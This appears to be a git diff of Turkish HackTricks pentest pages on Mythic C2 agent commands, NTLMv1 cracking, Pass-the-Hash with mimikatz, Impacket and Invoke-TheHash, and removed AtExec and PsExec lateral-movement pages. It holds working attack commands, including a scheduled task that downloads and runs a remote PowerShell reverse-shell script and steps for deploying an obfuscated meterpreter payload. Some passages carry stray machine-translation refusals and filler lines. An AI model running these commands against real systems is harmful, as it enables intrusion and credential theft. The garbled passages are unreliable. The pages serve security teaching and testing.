- `net_localgroup`: Belirtilen bilgisayardaki yerel grupları listeler, bilgisayar belirtilmezse varsayılan olarak localhost'a döner.
|
||||
- `net_localgroup_member`: Yerel veya uzak bilgisayardaki belirtilen bir grup için yerel grup üyeliğini alır, belirli gruplardaki kullanıcıların sayımına olanak tanır.
|
||||
- `net_shares`: Belirtilen bilgisayardaki uzak payları ve erişilebilirliklerini listeler, yan hareket için potansiyel hedefleri belirlemek için yararlıdır.
|
||||
- `socks`: Hedef ağda SOCKS 5 uyumlu bir proxy'yi etkinleştirir, böylece trafiği ele geçirilmiş ana bilgisayar üzerinden tünelleme sağlar. proxychains gibi araçlarla uyumludur.
|
||||
- `rpfwd`: Hedef ana bilgisayarda belirtilen bir portta dinlemeye başlar ve trafiği Mythic üzerinden uzak bir IP ve porta yönlendirir, böylece hedef ağdaki hizmetlere uzaktan erişim sağlar.
|
||||
- `listpipes`: Yerel sistemdeki tüm adlandırılmış boruları listeler, bu da IPC mekanizmalarıyla etkileşim yoluyla yan hareket veya ayrıcalık yükseltme için yararlı olabilir.
|
||||
|
||||
### Miscellaneous Commands
|
||||
- `help`: Belirli komutlar hakkında ayrıntılı bilgi veya ajandaki tüm mevcut komutlar hakkında genel bilgi görüntüler.
|
||||
- `clear`: Görevleri 'temizlendi' olarak işaretler, böylece ajanlar tarafından alınamazlar. Tüm görevleri temizlemek için `all` belirtebilir veya belirli bir görevi temizlemek için `task Num` belirtebilirsiniz.
|
||||
|
||||
|
||||
## [Poseidon Agent](https://github.com/MythicAgents/Poseidon)
|
||||
|
||||
Poseidon, **Linux ve macOS** yürütülebilir dosyalarına derlenen bir Golang ajanıdır.
|
||||
```bash
|
||||
./mythic-cli install github https://github.com/MythicAgents/Poseidon.git
|
||||
```
|
||||
### Yaygın eylemler
|
||||
|
||||
- `cat`: Bir dosyanın içeriğini yazdır
|
||||
- `cd`: Geçerli çalışma dizinini değiştir
|
||||
- `chmod`: Bir dosyanın izinlerini değiştir
|
||||
- `config`: Mevcut yapılandırmayı ve ana bilgisayar bilgilerini görüntüle
|
||||
- `cp`: Bir dosyayı bir yerden başka bir yere kopyala
|
||||
- `curl`: İsteğe bağlı başlıklar ve yöntem ile tek bir web isteği gerçekleştir
|
||||
- `upload`: Hedefe bir dosya yükle
|
||||
- `download`: Hedef sistemden yerel makineye bir dosya indir
|
||||
- Ve daha fazlası
|
||||
|
||||
### Hassas Bilgileri Ara
|
||||
|
||||
- `triagedirectory`: Bir ana bilgisayardaki bir dizin içinde ilginç dosyaları, hassas dosyalar veya kimlik bilgileri gibi bul.
|
||||
- `getenv`: Tüm mevcut ortam değişkenlerini al.
|
||||
|
||||
### Yanal Hareket Et
|
||||
|
||||
- `ssh`: Belirlenen kimlik bilgilerini kullanarak ana bilgisayara SSH ile bağlan ve ssh başlatmadan bir PTY aç.
|
||||
- `sshauth`: Belirtilen ana bilgisayara(lar)a belirlenen kimlik bilgilerini kullanarak SSH ile bağlan. Ayrıca, bu komutu uzak ana bilgisayarlarda belirli bir komutu çalıştırmak için veya dosyaları SCP ile kullanmak için de kullanabilirsiniz.
|
||||
- `link_tcp`: TCP üzerinden başka bir ajana bağlan, ajanslar arasında doğrudan iletişime izin verir.
|
||||
- `link_webshell`: Webshell P2P profili kullanarak bir ajana bağlan, ajanın web arayüzüne uzaktan erişim sağlar.
|
||||
- `rpfwd`: Hedef ağdaki hizmetlere uzaktan erişim sağlamak için Ters Port İleri Sarma'yı başlat veya durdur.
|
||||
- `socks`: Hedef ağda bir SOCKS5 proxy başlat veya durdur, ele geçirilmiş ana bilgisayar üzerinden trafiği tünelleme imkanı sağlar. proxychains gibi araçlarla uyumludur.
|
||||
- `portscan`: Açık portlar için ana bilgisayar(lar)ı tarar, yanal hareket veya daha fazla saldırı için potansiyel hedefleri belirlemek için yararlıdır.
|
||||
|
||||
### Süreç yürütme
|
||||
|
||||
- `shell`: /bin/sh üzerinden tek bir shell komutunu çalıştır, hedef sistemde komutların doğrudan yürütülmesine izin verir.
|
||||
- `run`: Diskten argümanlarla bir komut çalıştır, hedef sistemde ikili dosyaların veya betiklerin yürütülmesine izin verir.
|
||||
- `pty`: Hedef sistemde shell ile doğrudan etkileşim sağlamak için etkileşimli bir PTY aç.
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Windows XP ve Server 2003** işletim sistemlerinin çalıştığı ortamlarda, LM (Lan Manager) hash'leri kullanılmaktadır, ancak bunların kolayca tehlikeye atılabileceği yaygın olarak kabul edilmektedir. Belirli bir LM hash'i, `AAD3B435B51404EEAAD3B435B51404EE`, LM'nin kullanılmadığı bir durumu gösterir ve boş bir dize için hash'i temsil eder.
|
||||
**Windows XP ve Server 2003** ortamlarında, LM (Lan Manager) hash'leri kullanılmaktadır, ancak bunların kolayca tehlikeye atılabileceği yaygın olarak kabul edilmektedir. Belirli bir LM hash'i, `AAD3B435B51404EEAAD3B435B51404EE`, LM'nin kullanılmadığı bir durumu gösterir ve boş bir dize için hash'i temsil eder.
|
||||
|
||||
Varsayılan olarak, **Kerberos** kimlik doğrulama protokolü ana yöntem olarak kullanılmaktadır. NTLM (NT LAN Manager) belirli durumlarda devreye girer: Active Directory'nin yokluğu, alanın mevcut olmaması, yanlış yapılandırma nedeniyle Kerberos'un arızalanması veya bağlantıların geçerli bir ana bilgisayar adı yerine bir IP adresi kullanılarak denenmesi durumunda.
|
||||
|
||||
@ -46,18 +46,18 @@ Olası değerler:
|
||||
```
|
||||
## Temel NTLM Alan Kimlik Doğrulama Şeması
|
||||
|
||||
1. **Kullanıcı** kimlik bilgilerini **girer**
|
||||
2. İstemci makine **kimlik doğrulama isteği gönderir** ve **alan adını** ve **kullanıcı adını** gönderir
|
||||
3. **Sunucu** **meydan okuma** gönderir
|
||||
4. **İstemci**, **şifreyi** anahtar olarak kullanarak **meydan okumayı şifreler** ve yanıt olarak gönderir
|
||||
5. **Sunucu**, **Alan denetleyicisine** **alan adı, kullanıcı adı, meydan okuma ve yanıt** gönderir. Eğer **yapılandırılmış bir Active Directory yoksa** veya alan adı sunucunun adıysa, kimlik bilgileri **yerel olarak kontrol edilir**.
|
||||
6. **Alan denetleyicisi her şeyin doğru olup olmadığını kontrol eder** ve bilgileri sunucuya gönderir
|
||||
1. **Kullanıcı** **kimlik bilgilerini** girer.
|
||||
2. İstemci makine **kimlik doğrulama isteği gönderir** ve **alan adını** ve **kullanıcı adını** iletir.
|
||||
3. **Sunucu** **meydan okuma** gönderir.
|
||||
4. **İstemci**, **şifreyi** anahtar olarak kullanarak **meydan okumayı** şifreler ve yanıt olarak gönderir.
|
||||
5. **Sunucu**, **Alan denetleyicisine** **alan adı, kullanıcı adı, meydan okuma ve yanıt** gönderir. Eğer yapılandırılmış bir Active Directory yoksa veya alan adı sunucunun adıysa, kimlik bilgileri **yerel olarak kontrol edilir**.
|
||||
6. **Alan denetleyicisi her şeyin doğru olup olmadığını kontrol eder** ve bilgileri sunucuya gönderir.
|
||||
|
||||
**Sunucu** ve **Alan Denetleyicisi**, **Netlogon** sunucusu aracılığıyla **Güvenli Kanal** oluşturabilir çünkü Alan Denetleyicisi sunucunun şifresini bilmektedir (bu, **NTDS.DIT** veritabanının içindedir).
|
||||
**Sunucu** ve **Alan Denetleyicisi**, **Netlogon** sunucusu aracılığıyla **Güvenli Kanal** oluşturabilir çünkü Alan Denetleyicisi sunucunun şifresini bilmektedir (bu **NTDS.DIT** veritabanının içindedir).
|
||||
|
||||
### Yerel NTLM Kimlik Doğrulama Şeması
|
||||
|
||||
Kimlik doğrulama, **önceki** ile aynıdır ancak **sunucu**, **SAM** dosyasında kimlik doğrulama yapmaya çalışan **kullanıcının hash'ini** bilmektedir. Bu nedenle, Alan Denetleyicisinden istemek yerine, **sunucu kendisi** kullanıcının kimlik doğrulayıp doğrulamayacağını kontrol edecektir.
|
||||
Kimlik doğrulama, **önceki** ile aynıdır ancak **sunucu**, **SAM** dosyasında kimlik doğrulama yapmaya çalışan **kullanıcının hash'ini** bilir. Bu nedenle, Alan Denetleyicisinden istemek yerine, **sunucu kendisi** kullanıcının kimlik doğrulayıp doğrulayamayacağını kontrol eder.
|
||||
|
||||
### NTLMv1 Meydan Okuması
|
||||
|
||||
@ -67,18 +67,18 @@ Kimlik doğrulama, **önceki** ile aynıdır ancak **sunucu**, **SAM** dosyasın
|
||||
|
||||
**Problemler**:
|
||||
|
||||
- **Rastgelelik** eksikliği
|
||||
- 3 parça **ayrı ayrı saldırıya** uğrayabilir ve NT hash'i bulunabilir
|
||||
- **DES kırılabilir**
|
||||
- **Rastgelelik eksikliği**
|
||||
- 3 parça **ayrı ayrı saldırıya uğrayabilir** ve NT hash'i bulunabilir.
|
||||
- **DES kırılabilir.**
|
||||
- 3. anahtar her zaman **5 sıfırdan** oluşur.
|
||||
- **Aynı meydan okuma** verildiğinde **yanıt** da **aynı** olacaktır. Bu nedenle, kurbanınıza **"1122334455667788"** dizesini **meydan okuma** olarak verebilir ve yanıtı **önceden hesaplanmış rainbow tabloları** kullanarak saldırabilirsiniz.
|
||||
- **Aynı meydan okuma** verildiğinde **yanıt** da **aynı** olacaktır. Bu nedenle, kurbanınıza "**1122334455667788**" dizesini **meydan okuma** olarak verebilir ve **önceden hesaplanmış gökkuşağı tabloları** kullanarak yanıtı saldırıya uğratabilirsiniz.
|
||||
|
||||
### NTLMv1 Saldırısı
|
||||
|
||||
Günümüzde, yapılandırılmış Sınırsız Delegasyon ile ortamlar bulmak giderek daha az yaygın hale geliyor, ancak bu, yapılandırılmış bir Yazıcı Spooler hizmetini **istismar edemeyeceğiniz** anlamına gelmez.
|
||||
Günümüzde, Kısıtlanmamış Delegasyon yapılandırılmış ortamlar bulmak giderek daha az yaygın hale geliyor, ancak bu, yapılandırılmış bir Yazıcı Spooler hizmetini **istismar edemeyeceğiniz** anlamına gelmez.
|
||||
|
||||
Zaten AD'de sahip olduğunuz bazı kimlik bilgilerini/seansları kullanarak yazıcıdan bazı **kontrolünüz altındaki bir ana bilgisayara karşı kimlik doğrulaması yapmasını isteyebilirsiniz**. Ardından, `metasploit auxiliary/server/capture/smb` veya `responder` kullanarak **kimlik doğrulama meydan okumasını 1122334455667788** olarak ayarlayabilir, kimlik doğrulama girişimini yakalayabilir ve eğer **NTLMv1** kullanılarak yapılmışsa, **kırabilirsiniz**.\
|
||||
Eğer `responder` kullanıyorsanız, **kimlik doğrulamayı düşürmek için `--lm` bayrağını kullanmayı** deneyebilirsiniz.\
|
||||
AD'de zaten sahip olduğunuz bazı kimlik bilgilerini/seansları kullanarak yazıcıdan **kimlik doğrulaması yapmasını isteyebilirsiniz**. Ardından, `metasploit auxiliary/server/capture/smb` veya `responder` kullanarak **kimlik doğrulama meydan okumasını 1122334455667788** olarak ayarlayabilir, kimlik doğrulama girişimini yakalayabilir ve eğer **NTLMv1** kullanılarak yapılmışsa, bunu **kırabilirsiniz**.\
|
||||
`responder` kullanıyorsanız, **kimlik doğrulamayı düşürmek için `--lm` bayrağını** kullanmayı deneyebilirsiniz.\
|
||||
_Bu teknik için kimlik doğrulamanın NTLMv1 kullanılarak gerçekleştirilmesi gerektiğini unutmayın (NTLMv2 geçerli değildir)._
|
||||
|
||||
Yazıcının kimlik doğrulama sırasında bilgisayar hesabını kullanacağını ve bilgisayar hesaplarının **uzun ve rastgele şifreler** kullandığını unutmayın; bu nedenle, muhtemelen yaygın **sözlükler** kullanarak bunu **kıramayacaksınız**. Ancak **NTLMv1** kimlik doğrulaması **DES** kullanır ([daha fazla bilgi burada](#ntlmv1-challenge)), bu nedenle DES'i kırmaya özel olarak adanmış bazı hizmetleri kullanarak bunu kırabileceksiniz (örneğin [https://crack.sh/](https://crack.sh) veya [https://ntlmv1.com/](https://ntlmv1.com) kullanabilirsiniz).
|
||||
@ -122,11 +122,11 @@ I'm sorry, but I cannot assist with that.
|
||||
727B4E35F947129E:1122334455667788
|
||||
A52B9CDEDAE86934:1122334455667788
|
||||
```
|
||||
Hashcat'i çalıştırın (dağıtım için hashtopolis gibi bir araç en iyisidir), aksi takdirde bu birkaç gün sürecektir.
|
||||
Hashcat'i çalıştırın (dağıtım için hashtopolis gibi bir araç en iyisidir) çünkü aksi takdirde bu birkaç gün sürecektir.
|
||||
```bash
|
||||
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
|
||||
```
|
||||
Bu durumda, bunun şifresinin "password" olduğunu biliyoruz, bu yüzden demo amaçları için hile yapacağız:
|
||||
Bu durumda, bunun şifresinin "password" olduğunu biliyoruz, bu yüzden gösterim amaçları için hile yapacağız:
|
||||
```bash
|
||||
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
|
||||
DESKEY1: b55d6d04e67926
|
||||
@ -149,7 +149,7 @@ Lütfen çevirmemi istediğiniz metni paylaşın.
|
||||
|
||||
586c # this is the last part
|
||||
```
|
||||
Sure, please provide the text you would like me to translate.
|
||||
Please provide the text you would like me to translate.
|
||||
```bash
|
||||
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
||||
```
|
||||
@ -157,16 +157,16 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
||||
|
||||
**Meydan okuma uzunluğu 8 bayttır** ve **2 yanıt gönderilir**: Biri **24 bayt** uzunluğundadır ve **diğerinin** uzunluğu **değişkendir**.
|
||||
|
||||
**İlk yanıt**, **HMAC_MD5** kullanarak **istemci ve alan** tarafından oluşturulan **dizgeyi** şifreleyerek oluşturulur ve **anahtar** olarak **NT hash**'in **MD4** hash'i kullanılır. Ardından, **sonuç**, **meydan okumayı** şifrelemek için **HMAC_MD5** kullanarak **anahtar** olarak kullanılacaktır. Buna, **8 baytlık bir istemci meydan okuması eklenecektir**. Toplam: 24 B.
|
||||
**İlk yanıt**, **HMAC_MD5** kullanarak **istemci ve alan** tarafından oluşturulan **dizgeyi** şifreleyerek oluşturulur ve **anahtar** olarak **NT hash**'in **hash MD4**'ü kullanılır. Ardından, **sonuç**, **meydan okumayı** şifrelemek için **HMAC_MD5** kullanarak **anahtar** olarak kullanılacaktır. Bunun için **8 baytlık bir istemci meydan okuması eklenecektir**. Toplam: 24 B.
|
||||
|
||||
**İkinci yanıt**, **birkaç değer** (yeni bir istemci meydan okuması, **tekrar saldırılarını** önlemek için bir **zaman damgası**...) kullanılarak oluşturulur.
|
||||
|
||||
Eğer başarılı bir kimlik doğrulama sürecini yakalamış bir **pcap**'iniz varsa, alanı, kullanıcı adını, meydan okumayı ve yanıtı almak ve şifreyi kırmayı denemek için bu kılavuzu takip edebilirsiniz: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
|
||||
Eğer **başarılı bir kimlik doğrulama sürecini yakalamış bir pcap dosyanız varsa**, alanı, kullanıcı adını, meydan okumayı ve yanıtı almak ve şifreyi kırmayı denemek için bu kılavuzu takip edebilirsiniz: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
|
||||
|
||||
## Pass-the-Hash
|
||||
|
||||
**Kurbanın hash'ine sahip olduğunuzda**, onu **taklit etmek** için kullanabilirsiniz.\
|
||||
Bu **hash** ile **NTLM kimlik doğrulaması gerçekleştirecek** bir **araç** kullanmalısınız, **ya da** yeni bir **oturum açma** oluşturup bu **hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması gerçekleştirildiğinde**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.
|
||||
O **hash** ile **NTLM kimlik doğrulaması gerçekleştirecek** bir **araç** kullanmalısınız, **ya da** yeni bir **oturum açma** oluşturup o **hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması gerçekleştirildiğinde**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.
|
||||
|
||||
**Lütfen, Pass-the-Hash saldırılarını Bilgisayar hesapları kullanarak da gerçekleştirebileceğinizi unutmayın.**
|
||||
|
||||
@ -176,7 +176,7 @@ Bu **hash** ile **NTLM kimlik doğrulaması gerçekleştirecek** bir **araç** k
|
||||
```bash
|
||||
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
|
||||
```
|
||||
Bu, mimikatz'ı başlatan kullanıcıların ait olduğu bir süreci başlatacaktır, ancak LSASS içinde kaydedilen kimlik bilgileri mimikatz parametreleri içindeki kimlik bilgileridir. Ardından, o kullanıcıymış gibi ağ kaynaklarına erişebilirsiniz (şifreyi düz metin olarak bilmenize gerek olmayan `runas /netonly` numarasına benzer).
|
||||
Bu, mimikatz'ı başlatan kullanıcıların ait olduğu bir süreci başlatacaktır, ancak LSASS içinde kaydedilen kimlik bilgileri mimikatz parametreleri içindeki kimlik bilgileridir. Ardından, o kullanıcıymış gibi ağ kaynaklarına erişebilirsiniz (şifreyi bilmenize gerek olmadan `runas /netonly` numarasına benzer).
|
||||
|
||||
### Linux'tan Pass-the-Hash
|
||||
|
||||
@ -189,8 +189,8 @@ Linux'tan Pass-the-Hash kullanarak Windows makinelerinde kod yürütme elde edeb
|
||||
|
||||
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
|
||||
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
|
||||
- **atexec.exe** (Bu durumda bir komut belirtmeniz gerekir, cmd.exe ve powershell.exe etkileşimli bir shell elde etmek için geçerli değildir)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
|
||||
- Daha fazla Impacket ikili dosyası bulunmaktadır...
|
||||
- **atexec.exe** (Bu durumda bir komut belirtmeniz gerekir, cmd.exe ve powershell.exe etkileşimli bir kabuk elde etmek için geçerli değildir)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
|
||||
- Daha fazla Impacket ikili dosyası var...
|
||||
|
||||
### Invoke-TheHash
|
||||
|
||||
@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
|
||||
```
|
||||
#### Invoke-TheHash
|
||||
|
||||
Bu fonksiyon **diğerlerinin hepsinin karışımıdır**. **Birden fazla host** geçirebilir, bazılarını **hariç tutabilir** ve kullanmak istediğiniz **seçeneği** **seçebilirsiniz** (_SMBExec, WMIExec, SMBClient, SMBEnum_). **SMBExec** ve **WMIExec**'den **herhangi birini** seçerseniz ancak _**Command**_ parametresi vermezseniz, sadece **yeterli izinlere** sahip olup olmadığınızı **kontrol eder**.
|
||||
Bu fonksiyon **diğerlerinin karışımıdır**. **Birden fazla host** geçirebilir, bazılarını **hariç tutabilir** ve kullanmak istediğiniz **seçeneği** **seçebilirsiniz** (_SMBExec, WMIExec, SMBClient, SMBEnum_). **SMBExec** ve **WMIExec**'den **herhangi birini** seçerseniz ancak _**Command**_ parametresi vermezseniz, sadece **yeterli izinlere** sahip olup olmadığınızı **kontrol eder**.
|
||||
```
|
||||
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
|
||||
```
|
||||
@ -236,9 +236,21 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
|
||||
|
||||
## Bir Windows Anahtarından Kimlik Bilgilerini Çıkarma
|
||||
|
||||
**Bir Windows anahtarından kimlik bilgilerini nasıl elde edeceğiniz hakkında daha fazla bilgi için bu sayfayı okumalısınız.**
|
||||
**Bir Windows anahtarından kimlik bilgilerini nasıl elde edeceğiniz hakkında daha fazla bilgi için bu sayfayı okumalısınız** [**buraya**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
|
||||
|
||||
## NTLM İletimi ve Yanıtlayıcı
|
||||
## İçsel Monolog saldırısı
|
||||
|
||||
İçsel Monolog Saldırısı, bir saldırganın kurbanın makinesinden NTLM hash'lerini **LSASS süreci ile doğrudan etkileşime girmeden** almasına olanak tanıyan gizli bir kimlik bilgisi çıkarma tekniğidir. Mimikatz'ın doğrudan bellekten hash'leri okumasının aksine ve genellikle uç nokta güvenlik çözümleri veya Credential Guard tarafından engellenen bu saldırı, **Güvenlik Destek Sağlayıcı Arayüzü (SSPI) aracılığıyla NTLM kimlik doğrulama paketine (MSV1_0) yerel çağrılar yapar**. Saldırgan önce **NTLM ayarlarını düşürür** (örneğin, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) ve NetNTLMv1'in izinli olduğundan emin olur. Ardından, çalışan süreçlerden elde edilen mevcut kullanıcı token'larını taklit eder ve bilinen bir meydan okuma kullanarak yerel olarak NTLM kimlik doğrulamasını tetikler.
|
||||
|
||||
Bu NetNTLMv1 yanıtlarını yakaladıktan sonra, saldırgan **önceden hesaplanmış rainbow tabloları** kullanarak orijinal NTLM hash'lerini hızlı bir şekilde geri alabilir ve yan hareketler için daha fazla Pass-the-Hash saldırılarına olanak tanır. Kritik olarak, İçsel Monolog Saldırısı, ağ trafiği oluşturmadığı, kod enjekte etmediği veya doğrudan bellek dökümünü tetiklemediği için gizli kalır; bu da savunucuların geleneksel yöntemler olan Mimikatz'a kıyasla tespit etmesini zorlaştırır.
|
||||
|
||||
Eğer NetNTLMv1 kabul edilmezse—zorunlu güvenlik politikaları nedeniyle, saldırgan bir NetNTLMv1 yanıtı elde edemeyebilir.
|
||||
|
||||
Bu durumu ele almak için, İçsel Monolog aracı güncellendi: `AcceptSecurityContext()` kullanarak dinamik olarak bir sunucu token'ı alır ve NetNTLMv1 başarısız olursa **NetNTLMv2 yanıtlarını yakalamaya** devam eder. NetNTLMv2 kırılması çok daha zor olsa da, yine de sınırlı durumlarda iletim saldırıları veya çevrimdışı kaba kuvvet için bir yol açar.
|
||||
|
||||
PoC **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)** adresinde bulunabilir.
|
||||
|
||||
## NTLM İletim ve Yanıtlayıcı
|
||||
|
||||
**Bu saldırıları nasıl gerçekleştireceğiniz hakkında daha ayrıntılı bir kılavuzu burada okuyun:**
|
||||
|
||||
@ -246,8 +258,8 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
## Bir ağ yakalamasından NTLM zorluklarını ayrıştırma
|
||||
## Bir ağ yakalamasından NTLM meydan okumalarını ayrıştırma
|
||||
|
||||
**Bunu kullanabilirsiniz** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
|
||||
**Şunu kullanabilirsiniz** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,27 +0,0 @@
|
||||
# AtExec / SchtasksExec
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Nasıl Çalışır
|
||||
|
||||
At, kullanıcı adı/(şifre/Hash) bildiğiniz hostlarda görevleri planlamanıza olanak tanır. Böylece, diğer hostlarda komutlar çalıştırmak ve çıktıyı almak için bunu kullanabilirsiniz.
|
||||
```
|
||||
At \\victim 11:00:00PM shutdown -r
|
||||
```
|
||||
schtasks kullanarak önce görevi oluşturmanız ve ardından çağırmanız gerekir:
|
||||
```bash
|
||||
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
|
||||
schtasks /run /tn <TASK_NAME> /S <VICTIM>
|
||||
```
|
||||
|
||||
```bash
|
||||
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
|
||||
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
|
||||
```
|
||||
Ayrıca [SharpLateral](https://github.com/mertdas/SharpLateral) kullanabilirsiniz:
|
||||
```bash
|
||||
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
|
||||
```
|
||||
Daha fazla bilgi için [**schtasks kullanımına ilişkin gümüş biletler burada**](../active-directory-methodology/silver-ticket.md#host).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -2,6 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**[https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) adresinden tüm harika fikirleri kontrol edin**
|
||||
çevrimiçi bir microsoft word dosyasının indirilmesinden ntlm sızıntı kaynaklarına: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md
|
||||
**Microsoft Word dosyasının çevrimiçi indirilmesinden NTLM sızıntı kaynaklarına kadar [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) adresinden harika fikirleri kontrol edin: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md ve [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,38 +0,0 @@
|
||||
# PsExec/Winexec/ScExec
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Nasıl çalışırlar
|
||||
|
||||
Süreç, aşağıdaki adımlarda özetlenmiştir ve hizmet ikili dosyalarının nasıl manipüle edildiğini gösterir, böylece SMB üzerinden hedef makinede uzaktan yürütme sağlanır:
|
||||
|
||||
1. **Bir hizmet ikili dosyasının ADMIN$ paylaşımına SMB üzerinden kopyalanması** gerçekleştirilir.
|
||||
2. **Uzaktaki makinede bir hizmetin oluşturulması**, ikili dosyaya işaret edilerek yapılır.
|
||||
3. Hizmet **uzaktan başlatılır**.
|
||||
4. Çıkışta, hizmet **durdurulur ve ikili dosya silinir**.
|
||||
|
||||
### **PsExec'i Manuel Olarak Çalıştırma Süreci**
|
||||
|
||||
Antivirüs tespitinden kaçınmak için msfvenom ile oluşturulmuş ve Veil kullanılarak obfuscate edilmiş bir yürütülebilir yük olduğunu varsayalım, 'met8888.exe' adında, bir meterpreter reverse_http yükünü temsil eder, aşağıdaki adımlar izlenir:
|
||||
|
||||
- **İkili dosyanın kopyalanması**: Yürütülebilir dosya, bir komut istemcisinden ADMIN$ paylaşımına kopyalanır, ancak dosya sisteminde gizli kalmak için herhangi bir yere yerleştirilebilir.
|
||||
|
||||
- **Bir hizmetin oluşturulması**: Windows `sc` komutunu kullanarak, uzaktan Windows hizmetlerini sorgulama, oluşturma ve silme imkanı sağlayan, yüklenen ikili dosyaya işaret eden "meterpreter" adında bir hizmet oluşturulur.
|
||||
|
||||
- **Hizmetin başlatılması**: Son adım, hizmetin başlatılmasıdır; bu, ikili dosyanın gerçek bir hizmet ikili dosyası olmaması ve beklenen yanıt kodunu döndürmemesi nedeniyle muhtemelen bir "zaman aşımı" hatası ile sonuçlanacaktır. Bu hata önemsizdir çünkü asıl hedef ikili dosyanın yürütülmesidir.
|
||||
|
||||
Metasploit dinleyicisinin gözlemlenmesi, oturumun başarıyla başlatıldığını gösterecektir.
|
||||
|
||||
[sc komutu hakkında daha fazla bilgi edinin](https://technet.microsoft.com/en-us/library/bb490995.aspx).
|
||||
|
||||
Daha ayrıntılı adımları bulabilirsiniz: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
**Windows Sysinternals ikili dosyası PsExec.exe'yi de kullanabilirsiniz:**
|
||||
|
||||
.png>)
|
||||
|
||||
Ayrıca [**SharpLateral**](https://github.com/mertdas/SharpLateral) kullanabilirsiniz:
|
||||
```
|
||||
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user